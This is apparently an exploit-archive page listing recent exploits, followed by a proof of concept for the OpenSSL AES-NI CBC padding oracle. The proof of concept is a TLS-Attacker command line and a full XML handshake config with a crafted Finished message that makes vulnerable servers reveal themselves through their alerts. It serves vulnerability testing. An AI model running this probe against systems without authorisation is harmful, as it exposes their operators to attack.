5a82bad23d
14 new exploits Alibaba Clone B2B Script - Admin Authentication Bypass CMS Made Simple < 2.1.3 & < 1.12.1 - Web Server Cache Poisoning Acunetix WP Security Plugin 3.0.3 - XSS NetCommWireless HSPA 3G10WVE Wireless Router – Multiple Vulnerabilities TRN Threaded USENET News Reader 3.6-23 - Local Stack-Based Overflow IPFire < 2.19 Core Update 101 - Remote Command Execution PHP Imagick 3.3.0 - disable_functions Bypass ImageMagick < 6.9.3-9 - Multiple Vulnerabilities OpenSSL Padding Oracle in AES-NI CBC MAC Check Zabbix Agent 3.0.1 - mysql.size Shell Command Injection McAfee LiveSafe 14.0 - Relocations Processing Memory Corruption Linux (Ubuntu 14.04.3) - perf_event_open() Can Race with execve() (/etc/shadow) Linux Kernel 4.4.x (Ubuntu 16.04) - Use-After-Free via double-fdput() in bpf(BPF_PROG_LOAD) Error Path Local Root Exploit Linux (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps
76 lines
3.3 KiB
Text
Executable file
76 lines
3.3 KiB
Text
Executable file
Source: http://web-in-security.blogspot.ca/2016/05/curious-padding-oracle-in-openssl-cve.html
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TLS-Attacker:
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https://github.com/RUB-NDS/TLS-Attacker
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https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39768.zip
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You can use TLS-Attacker to build a proof of concept and test your implementation. You just start TLS-Attacker as follows:
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java -jar TLS-Attacker-1.0.jar client -workflow_input rsa-overflow.xml -connect $host:$port
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The xml configuration file (rsa-overflow.xml) looks then as follows:
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
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<workflowTrace>
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<protocolMessages>
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<ClientHello>
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<messageIssuer>CLIENT</messageIssuer>
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<includeInDigest>true</includeInDigest>
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<extensions>
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<EllipticCurves>
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<supportedCurvesConfig>SECP192R1</supportedCurvesConfig>
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<supportedCurvesConfig>SECP256R1</supportedCurvesConfig>
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<supportedCurvesConfig>SECP384R1</supportedCurvesConfig>
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<supportedCurvesConfig>SECP521R1</supportedCurvesConfig>
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</EllipticCurves>
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</extensions>
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<supportedCompressionMethods>
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<CompressionMethod>NULL</CompressionMethod>
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</supportedCompressionMethods>
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<supportedCipherSuites>
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<CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA</CipherSuite>
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<CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA</CipherSuite>
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<CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA256</CipherSuite>
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<CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA256</CipherSuite>
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</supportedCipherSuites>
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</ClientHello>
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<ServerHello>
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<messageIssuer>SERVER</messageIssuer>
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</ServerHello>
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<Certificate>
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<messageIssuer>SERVER</messageIssuer>
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</Certificate>
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<ServerHelloDone>
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<messageIssuer>SERVER</messageIssuer>
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</ServerHelloDone>
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<RSAClientKeyExchange>
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<messageIssuer>CLIENT</messageIssuer>
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</RSAClientKeyExchange>
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<ChangeCipherSpec>
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<messageIssuer>CLIENT</messageIssuer>
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</ChangeCipherSpec>
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<Finished>
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<messageIssuer>CLIENT</messageIssuer>
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<records>
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<Record>
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<plainRecordBytes>
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<byteArrayExplicitValueModification>
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<explicitValue>
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3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
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3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
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</explicitValue>
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</byteArrayExplicitValueModification>
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</plainRecordBytes>
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</Record>
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</records>
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</Finished>
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<ChangeCipherSpec>
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<messageIssuer>SERVER</messageIssuer>
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</ChangeCipherSpec>
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<Finished>
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<messageIssuer>SERVER</messageIssuer>
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</Finished>
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</protocolMessages>
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</workflowTrace>
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It looks to be complicated, but it is just a configuration for a TLS handshake used in TLS-Attacker, with an explicit value for a plain Finished message (32 0x3F bytes). If you change the value in the Finished message, you will see a different alert message returned by the server.
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